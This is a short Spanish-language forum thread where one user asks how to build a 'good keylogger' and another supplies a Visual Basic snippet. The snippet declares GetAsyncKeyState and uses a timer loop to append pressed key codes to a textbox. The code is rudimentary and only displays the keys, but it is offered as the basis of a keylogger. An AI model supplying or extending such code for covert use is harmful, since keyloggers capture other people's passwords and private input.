Key logger

[kontaminator]

Hay algun api para hacer un buen keylogger...

He hecho unop pero las letras aparecen en mayusculas y los numeros en letras minusculas.

ENtonces eso asi no me sirve

Me colaboran Porfa

[Meg]

Yo utilizo esta API:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

[kontaminator]

y donde la encuentro o como la utilizo?

[Meg]

añades un modulo y en el modulo pones esta API

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

en el formulario pones un textbox y un timer el timer con interval = 1

en el timer pones esto:

Código [Seleccionar] Expandir


Dim i As Integer, a As Integer
For i = 20 To 255
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next

todo lo k vayas escribiendo se va poniendo en el textbox ya tienes una  especie de keylogger